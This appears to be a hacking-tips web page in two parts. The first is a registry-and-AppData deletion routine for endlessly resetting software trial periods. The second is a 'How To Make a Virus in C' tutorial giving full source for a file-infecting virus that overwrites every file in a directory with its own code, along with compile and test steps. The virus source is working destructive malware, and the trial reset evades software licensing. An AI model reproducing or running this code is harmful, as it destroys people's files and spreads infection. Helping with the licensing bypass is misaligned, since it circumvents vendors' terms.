How to Hack Softwares & Extend Trial Period

This trick generally works for most of the 3rd party applications, here we won’t use any kind of time stopper or lame stuff like that. 

What we will do is clear tracks so that app doesn't realize we used the software before uninstalling it and are re-installing it. 

Step 1: First thing to do is uninstalling the application (Software from PC). 

Step 2: Press WINDOWS+R key and Type “Regedit”.

Step 3: Press Enter.

Step 4: Go to HK Local Machine -> Software -> Your Software name. Delete the Key. Do this for HK Current user if there exists a key of that software. 

Step 5: Go to run type “%temp%. Delete all files. Well they are just temporary files so it won’t matter, it will only clean up your PC little bit if not anything else. 

Step 6: Go to Users -> Username -> App Data

Check all 3 directories that is “Local”, “Local Low”, “Roaming” for your software entry. Delete that.

NOTE: This folder is always hidden.

If u cannot see this folder than follow this step:

Search “Folder Options” and select folder Options.

Under the view tab select “Show hidden files, folder, and drives” and Apply.

Step 7: Re-install application and enjoy the next trial. Just perform this every time trial period expires.

How To Make a Virus in C

This program is an example of how to create a virus in C Language. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.   

Note that this tutorial is only for educational purpose only.

The source code of the virus program:

#include

#include

#include

#include

#include

#include

FILE *virus,*host;

int done,a=0;

unsigned long x;

char buff[2048];

struct ffblk ffblk;

clock_t st,end;

void main()

{

st=clock();

clrscr();

done=findfirst(“*.*”,&ffblk,0);

while(!done)

{

virus=fopen(_argv[0],”rb”);

host=fopen(ffblk.ff_name,”rb+”);

if(host==NULL) goto next;

x=89088;

printf(“Infecting %s\n”,ffblk.ff_name,a);

while(x>2048)

{

fread(buff,2048,1,virus);

fwrite(buff,2048,1,host);

x-=2048;

}

fread(buff,x,1,virus);

fwrite(buff,x,1,host);

a++;

next:

{

fcloseall();

done=findnext(&ffblk);

}

}

printf(“DONE! (Total Files Infected= %d)”,a);

end=clock();

printf(“TIME TAKEN=%f SEC\n”,

(end-st)/CLK_TCK);

getch();

}

HOW TO COMPILE CODE:

USING BORLAND TC++ 3.0 (16-BIT):

1) Load the program in the compiler, press Alt-F9 to compile.

2) Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDING YOUR COMPILER)

3) Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)

4) Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)

5) Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect

USING BORLAND C++ 5.5 (32-BIT) :

1. Compile once,note down the generated EXE file length in bytes

2. Change the value of X in source code to this length in bytes

3. Recompile it.The new EXE file is ready to infect

HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)

3. Run the virus EXE file there you will see all the files in the current directory get infected.

4. All the infected files will be ready to reinfect

That’s it.
